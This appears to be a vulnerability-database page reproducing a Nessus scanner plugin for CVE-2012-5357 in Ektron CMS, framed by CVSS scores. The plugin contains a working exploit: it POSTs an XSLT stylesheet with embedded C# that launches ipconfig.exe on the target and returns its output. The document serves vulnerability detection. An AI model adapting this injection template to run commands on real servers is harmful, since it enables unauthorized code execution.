CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
99.7%
The version of Ektron CMS hosted on the remote web server is affected by a remote code execution vulnerability. The vulnerability arises because the ‘ekajaxtransform.aspx’ script utilizes the .NET ‘XslCompiledTransform’ class with ‘enablescript’ set to true.
Nessus was able to execute this vulnerability via a specially crafted POST request to run arbitrary C# code on the remote host.
Note that the version of Ektron installed on the remote host likely has other vulnerabilities that Nessus has not tested for.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(63245);
script_version("1.13");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_cve_id("CVE-2012-5357");
script_bugtraq_id(56816);
script_xref(name:"MSVR", value:"MSVR12-016");
script_name(english:"Ektron CMS XslCompiledTransform Class Request Parsing Remote Code Execution");
script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a web application that is affected by a
remote code execution vulnerability.");
script_set_attribute(attribute:"description", value:
"The version of Ektron CMS hosted on the remote web server is affected
by a remote code execution vulnerability. The vulnerability arises
because the 'ekajaxtransform.aspx' script utilizes the .NET
'XslCompiledTransform' class with 'enablescript' set to true.
Nessus was able to execute this vulnerability via a specially crafted
POST request to run arbitrary C# code on the remote host.
Note that the version of Ektron installed on the remote host likely
has other vulnerabilities that Nessus has not tested for.");
# https://webstersprodigy.net/2012/10/25/cve-2012-5357cve-1012-5358-cool-ektron-xslt-rce-bugs/
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?0cbc8f4d");
# https://docs.microsoft.com/en-us/security-updates/VulnerabilityResearchAdvisories/2012/msvr12-016
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?14d036a5");
# https://webhelp.episerver.com/Ektron/documentation/documentation/wwwroot/current/ReleaseNotes/ReleaseNotes_WebHelp.htm#Release8/8.02SP5.htm
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?97c6891b");
script_set_attribute(attribute:"solution", value:
"Upgrade to Ektron CMS version 8.02 Service Pack 5 or higher.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-5357");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
script_set_attribute(attribute:"metasploit_name", value:'Ektron 8.02 XSLT Transform Remote Code Execution');
script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2012/10/25");
script_set_attribute(attribute:"patch_publication_date", value:"2012/10/26");
script_set_attribute(attribute:"plugin_publication_date", value:"2012/12/12");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:ektron:cms4000.net");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2012-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("ektron_cms400_detect.nasl");
script_require_keys("www/cms400", "www/ASP");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");
function encapsulate_xslt_payload(code_payload)
{
return
'<?xml version=\'1.0\'?>\n' +
'<xsl:stylesheet version="1.0"\n' +
'xmlns:xsl="http://www.w3.org/1999/XSL/Transform"\n' +
'xmlns:msxsl="urn:schemas-microsoft-com:xslt"\n' +
'xmlns:user="http://example.com/mynamespace">\n' +
'<msxsl:script language="C#" implements-prefix="user">\n' +
'<![CDATA[\n' +
'public string xml()\n' +
'{\n' +
code_payload +
'}\n' +
']]>\n' +
'</msxsl:script>\n' +
'<xsl:template match="/">\n' +
'<xsl:value-of select="user:xml()"/>\n' +
'</xsl:template>\n' +
'</xsl:stylesheet>';
}
port = get_http_port(default:80, asp:TRUE);
install = get_install_from_kb(appname:'cms400', port:port, exit_on_fail:TRUE);
dir = install['dir'];
appname = "Ektron CMS400.NET";
report = '';
test_return_code = SCRIPT_NAME + rand();
# First test payload - more interesting but may not work in every environment
code_payload1 =
'System.Diagnostics.Process p = new System.Diagnostics.Process();\n' +
'p.StartInfo.UseShellExecute = false;\n' +
'p.StartInfo.RedirectStandardOutput = true;\n' +
'p.StartInfo.FileName = "ipconfig.exe";\n' +
'p.Start();\n' +
'p.WaitForExit();\n' +
'string output = p.StandardOutput.ReadToEnd();\n' +
'return output;';
# Second test payload - should work even in a restrictive environment
code_payload2 =
'return "' + test_return_code + '";\n';
postdata = "xml=AAA&xslt=" + urlencode(str:encapsulate_xslt_payload(code_payload: code_payload1));
res = http_send_recv3(method: "POST",
item: dir + "/WorkArea/ContentDesigner/ekajaxtransform.aspx",
port: port,
add_headers: make_array("Content-Type", "application/x-www-form-urlencoded;",
"Referer", build_url(qs:'', port:port)), # Required
data: postdata,
exit_on_fail: TRUE);
if ("Windows IP Configuration" >< res[2])
{
vuln_request = http_last_sent_request();
vuln_response = chomp(res[2]);
report = '\nNessus was able to exploit the vulnerability to run the \'ipconfig\'' +
'\ncommand with the following request : ';
report += '\n\n' +
crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
vuln_request + '\n' +
crap(data:"-" , length:30) + " snip " + crap(data:"-", length:30) + '\n';
if (report_verbosity > 1)
report += '\nResponse : ' + '\n\n' +
crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
vuln_response + '\n' +
crap(data:"-" , length:30) + " snip " + crap(data:"-", length:30) + '\n';
}
else
{
# try backup payload
postdata = "xml=AAA&xslt=" + urlencode(str:encapsulate_xslt_payload(code_payload: code_payload2));
res = http_send_recv3(method: "POST",
item: dir + "/WorkArea/ContentDesigner/ekajaxtransform.aspx",
port: port,
add_headers: make_array("Content-Type", "application/x-www-form-urlencoded;",
"Referer", build_url(qs:'', port:port)), # Required
data: postdata,
exit_on_fail: TRUE);
if("200" >< res[0] && test_return_code == chomp(res[2]))
{
vuln_request = http_last_sent_request();
vuln_response = chomp(res[2]);
report = '\nNessus was able to verify the vulnerability exists with the following' +
'\nrequest : ';
report += '\n\n' +
crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
vuln_request + '\n' +
crap(data:"-" , length:30) + " snip " + crap(data:"-", length:30) + '\n';
}
}
if (report != '')
{
if (report_verbosity > 0) security_hole(port:port,extra:report);
else security_hole(port);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, build_url(port:port, qs:dir));
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
99.7%